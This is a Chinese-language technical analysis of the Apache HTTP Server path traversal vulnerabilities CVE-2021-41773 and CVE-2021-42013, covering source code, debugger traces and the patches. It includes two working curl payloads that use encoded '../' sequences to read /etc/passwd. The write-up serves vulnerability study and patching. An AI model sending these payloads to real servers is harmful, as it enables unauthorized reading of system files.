搬瓦工VPS
拥有10+机房且可自主切换机房

关于Apache CVE-2021-41773和CVE-2021-42013漏洞分析

CVE-2021-41773 漏洞成因

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在../的路径穿越符,如下所示:

while (path[l] != '\0') {
    if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
            && path[l] == '%' && apr_isxdigit(path[l + 1])
            && apr_isxdigit(path[l + 2])) {
        const char c = x2c(&path[l + 1]);
        if (apr_isalnum(c) || (c && strchr("-._~", c))) {
            /* Replace last char and fall through as the current
                * read position */
            l += 2;
            path[l] = c;
        }
    }
    ......

    if (w == 0 || IS_SLASH(path[w - 1])) {
        /* Collapse ///// sequences to / */
        if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
            do {
                l++;
            } while (IS_SLASH(path[l]));
            continue;
        }

        if (path[l] == '.') {
            /* Remove /./ segments */
            if (IS_SLASH_OR_NUL(path[l + 1])) {
                l++;
                if (path[l]) {
                    l++;
                }
                continue;
            }

            /* Remove /xx/../ segments */
            if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                /* Wind w back to remove the previous segment */
                if (w > 1) {
                    do {
                        w--;
                    } while (w && !IS_SLASH(path[w - 1]));
                }
                else {
                    /* Already at root, ignore and return a failure
                        * if asked to.
                        */
                    if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                        ret = 0;
                    }
                }

当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在../。
如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。

漏洞触发&利用

payload如下:

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

漏洞修复

2.4.50版本对ap_normalize_path函数进行修改,补充了如下代码,对.%2e的绕过形式进行了判断,可以避免使用该方法绕过。

if ((path[n] == '.' || (decode_unreserved
&& path[n] == '%'
&& path[++n] == '2'
&& (path[++n] == 'e'
|| path[n] == 'E')))
&& IS_SLASH_OR_NUL(path[n + 1])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l = n + 1;
if (path[l]) {
l++;
}
continue;
}

CVE-2021-42013漏洞成因

Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

在处理外部HTTP请求时,会调用
ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:

/* This is the master logic for processing requests.  Do NOT duplicate
 * this logic elsewhere, or the security model will be broken by future
 * API changes.  Each phase must be individually optimized to pick up
 * redundant/duplicate calls by subrequests, and redirects.
 */
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
    ......

    if (r->parsed_uri.path) {
        /* Normalize: remove /./ and shrink /../ segments, plus
         * decode unreserved chars (first time only to avoid
         * double decoding after ap_unescape_url() below).
         */
        if (!ap_normalize_path(r->parsed_uri.path,
                               normalize_flags |
                               AP_NORMALIZE_DECODE_UNRESERVED)) {
            ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
                          "invalid URI path (%s)", r->unparsed_uri);
            return HTTP_BAD_REQUEST;
        }
    }

    ......

    /* Ignore URL unescaping for translated URIs already */
    if (access_status != DONE && r->parsed_uri.path) {
        core_dir_config *d = ap_get_core_module_config(r->per_dir_config);

        if (d->allow_encoded_slashes) {
            access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
                                                   d->decode_encoded_slashes);
        }
        else {
            access_status = ap_unescape_url(r->parsed_uri.path);
        }
        if (access_status) {
            if (access_status == HTTP_NOT_FOUND) {
                if (! d->allow_encoded_slashes) {
                    ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
                                  "found %%2f (encoded '/') in URI path (%s), "
                                  "returning 404", r->unparsed_uri);
                }
            }
            return access_status;
        }

ap_normalize_path函数调用栈如下,在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd:

#0  ap_normalize_path (path=0x7f32740916a0 "/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd", flags=flags@entry=14) at util.c:508
#1  0x000055b354ea81c5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:209
#2  0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#3  0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#4  ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#5  0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#6  0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>)
    at event.c:1052
#7  0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#8  0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#9  0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

经过ap_normalize_path函数处理后path参数变成
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd。

ap_unescape_url函数实际会调用unescape_url函数,调用栈如下:

#0  unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901
#1  0x000055b354e8ea3e in ap_unescape_url (url=<optimized out>) at util.c:1949
#2  0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250
#3  0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#4  0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#5  ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#6  0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#7  0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>)
    at event.c:1052
#8  0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#9  0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#10 0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

经过unescape_url函数处理后,可以看到此时的url字符串内容变成/icons/../../../../etc/passwd:

(gdb) fin
Run till exit from #0  unescape_url (url=0x7f32740916a0 "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd", forbid=forbid@entry=0x55b354ed2554 "/", reserved=reserved@entry=0x0) at util.c:1901
0x000055b354ea83b5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:250
250 request.c: No such file or directory.
Value returned is $1 = 0
(gdb) x/s 0x7f32740916a0
0x7f32740916a0: "/icons/../../../../etc/passwd"

漏洞触发&利用

payload如下:

curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

漏洞修复

2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过,修复代码如下:

while (path[l] != '\0') {
    /* RFC-3986 section 2.3:
        *  For consistency, percent-encoded octets in the ranges of
        *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
        *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
        *  be decoded to their corresponding unreserved characters by
        *  URI normalizers.
        */
    if (decode_unreserved && path[l] == '%') {
        if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (TEST_CHAR(c, T_URI_UNRESERVED)) {
                /* Replace last char and fall through as the current
                    * read position */
                l += 2;
                path[l] = c;
            }
        }
        else {
            /* Invalid encoding */
            ret = 0;
        }
    }

来自:IT野涵

赞(0)
未经允许不得转载:搬瓦工中文网 » 关于Apache CVE-2021-41773和CVE-2021-42013漏洞分析